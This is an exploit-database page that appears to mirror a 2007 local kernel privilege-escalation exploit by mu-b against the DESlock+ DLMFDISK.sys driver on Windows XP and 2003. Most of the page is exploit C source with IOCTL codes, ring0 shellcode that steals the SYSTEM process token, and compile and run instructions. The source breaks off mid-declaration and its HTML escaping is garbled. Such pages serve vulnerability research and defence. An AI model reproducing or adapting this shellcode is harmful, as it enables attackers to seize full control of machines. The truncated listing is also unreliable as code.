Lucene search
K

DESlock+ <= 3.2.6 DLMFDISK.sys local kernel ring0 SYSTEM Exploit

🗓️ 20 Feb 2008 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 12 Views

DESlock+ <= 3.2.6 DLMFDISK.sys local kernel ring0 SYSTEM Exploit by mu-b - Wed 26 Dec 2007, tested on Windows 2003 SP2, Windows XP SP2. Create pseudo-filesystem "XXXAAAA.mnt", copy to "?:", mount pseudo-filesystem, and run deslock-pown-v2 for SYSTEM. Compile: MinGW + -lntdll

Code

                                                /* deslock-pown-v2.c
 *
 * Copyright (c) 2008 by &amp;lt;[email protected]&amp;gt;
 *
 * DESlock+ &amp;lt;= 3.2.6 local kernel ring0 SYSTEM exploit
 * by mu-b - Wed 26 Dec 2007
 *
 * - Tested on: DLMFDISK.sys 1.2.0.27
 *              - Microsoft Windows 2003 SP2
 *              - Microsoft Windows XP SP2
 *
 * Note: create a mountable filesystem (size/password is irrelevant),
 * name the pseudo-filesystem &amp;quot;XXXAAAA.mnt&amp;quot; and copy to &amp;quot;?:&amp;quot;,
 * finally mount the pseudo-filesystem and ./deslock-pown-v2 for SYSTEM.
 *
 * Compile: MinGW + -lntdll
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
 */

#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;

#include &amp;lt;windows.h&amp;gt;
#include &amp;lt;ddk/ntapi.h&amp;gt;

#define DLKFDISK_IOCTL    0x80002024
#define DLKFDISK_R_IOCTL  0x80002010
#define DLKFDISK_SLOT     0x00000C5A
#define DLKFDISK_OFFSET   0x0D
#define DLKFDISK_DISK_MAX 0x1A

static unsigned char win32_fixup&#91;&#93; =
  &amp;quot;x53&amp;quot;
  &amp;quot;xebx0e&amp;quot;
  /* _fixup_copy  */
  &amp;quot;x5e&amp;quot;
  &amp;quot;xbfx5cx0cx00x00&amp;quot;
  &amp;quot;x31xc9&amp;quot;
  &amp;quot;xb1x05&amp;quot;
  &amp;quot;xf3xa5&amp;quot;
  &amp;quot;xebx19&amp;quot;
  /* _fixup_blk   */
  &amp;quot;xe8xedxffxffxff&amp;quot;
  &amp;quot;x64x0ax00x00&amp;quot;
  &amp;quot;xd3x0ax00x00&amp;quot;
  &amp;quot;x2ax0ax00x00&amp;quot;
  &amp;quot;x49x0ax00x00&amp;quot;
  &amp;quot;x68x0bx00x00&amp;quot;;

/* Win2k3 SP1/2 - kernel EPROCESS token switcher
 * by mu-b &amp;lt;[email protected]&amp;gt;
 */
static unsigned char win2k3_ring0_shell&#91;&#93; =
  /* _ring0 */
  &amp;quot;xb8x24xf1xdfxff&amp;quot;
  &amp;quot;x8bx00&amp;quot;
  &amp;quot;x8bxb0x18x02x00x00&amp;quot;
  &amp;quot;x89xf0&amp;quot;
  /* _sys_eprocess_loop   */
  &amp;quot;x8bx98x94x00x00x00&amp;quot;
  &amp;quot;x81xfbx04x00x00x00&amp;quot;
  &amp;quot;x74x11&amp;quot;
  &amp;quot;x8bx80x9cx00x00x00&amp;quot;
  &amp;quot;x2dx98x00x00x00&amp;quot;
  &amp;quot;x39xf0&amp;quot;
  &amp;quot;x75xe3&amp;quot;
  &amp;quot;xebx21&amp;quot;
  /* _sys_eprocess_found  */
  &amp;quot;x89xc1&amp;quot;
  &amp;quot;x89xf0&amp;quot;

  /* _cmd_eprocess_loop   */
  &amp;quot;x8bx98x94x00x00x00&amp;quot;
  &amp;quot;x81xfbx00x00x00x00&amp;quot;
  &amp;quot;x74x10&amp;quot;
  &amp;quot;x8bx80x9cx00x00x00&amp;quot;
  &amp;quot;x2dx98x00x00x00&amp;quot;
  &amp;quot;x39xf0&amp;quot;
  &amp;quot;x75xe3&amp;quot;
  /* _not_found           */
  &amp;quot;xcc&amp;quot;
  /* _cmd_eprocess_found
   * _ring0_end           */

  /* copy tokens!$%!      */
  &amp;quot;x8bx89xd8x00x00x00&amp;quot;
  &amp;quot;x89x88xd8x00x00x00&amp;quot;
  &amp;quot;x90&amp;quot;;

static unsigned char winxp_ring0_shell&#91;&#93; =
  /* _ring0 */
  &amp;quot;xb8x24xf1xdfxff&amp;quot;
  &amp;quot;x8bx00&amp;quot;
  &amp;quot;x8bx70x44&amp;quot;
  &amp;quot;x89xf0&amp;quot;
  /* _sys_eprocess_loop   */
  &amp;quot;x8bx98x84x00x00x00&amp;quot;
  &amp;quot;x81xfbx04x00x00x00&amp;quot;
  &amp;quot;x74x11&amp;quot;
  &amp;quot;x8bx80x8cx00x00x00&amp;quot;
  &amp;quot;x2dx88x00x00x00&amp;quot;
  &amp;quot;x39xf0&amp;quot;
  &amp;quot;x75xe3&amp;quot;
  &amp;quot;xebx21&amp;quot;
  /* _sys_eprocess_found  */
  &amp;quot;x89xc1&amp;quot;
  &amp;quot;x89xf0&amp;quot;

  /* _cmd_eprocess_loop   */
  &amp;quot;x8bx98x84x00x00x00&amp;quot;
  &amp;quot;x81xfbx00x00x00x00&amp;quot;
  &amp;quot;x74x10&amp;quot;
  &amp;quot;x8bx80x8cx00x00x00&amp;quot;
  &amp;quot;x2dx88x00x00x00&amp;quot;
  &amp;quot;x39xf0&amp;quot;
  &amp;quot;x75xe3&amp;quot;
  /* _not_found           */
  &amp;quot;xcc&amp;quot;
  /* _cmd_eprocess_found
   * _ring0_end           */

  /* copy tokens!$%!      */
  &amp;quot;x8bx89xc8x00x00x00&amp;quot;
  &amp;quot;x89x88xc8x00x00x00&amp;quot;
  &amp;quot;x90&amp;quot;;

static unsigned char win32_ret&#91;&#93; =
  &amp;quot;x5b&amp;quot;
  &amp;quot;x31xff&amp;quot;
  &amp;quot;xb8xdcx0bx00x00&amp;quot;
  &amp;quot;xffxe0&amp;quot;
  &amp;quot;xcc&amp;quot;;

struct ioctl_req {
  void *arg&
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation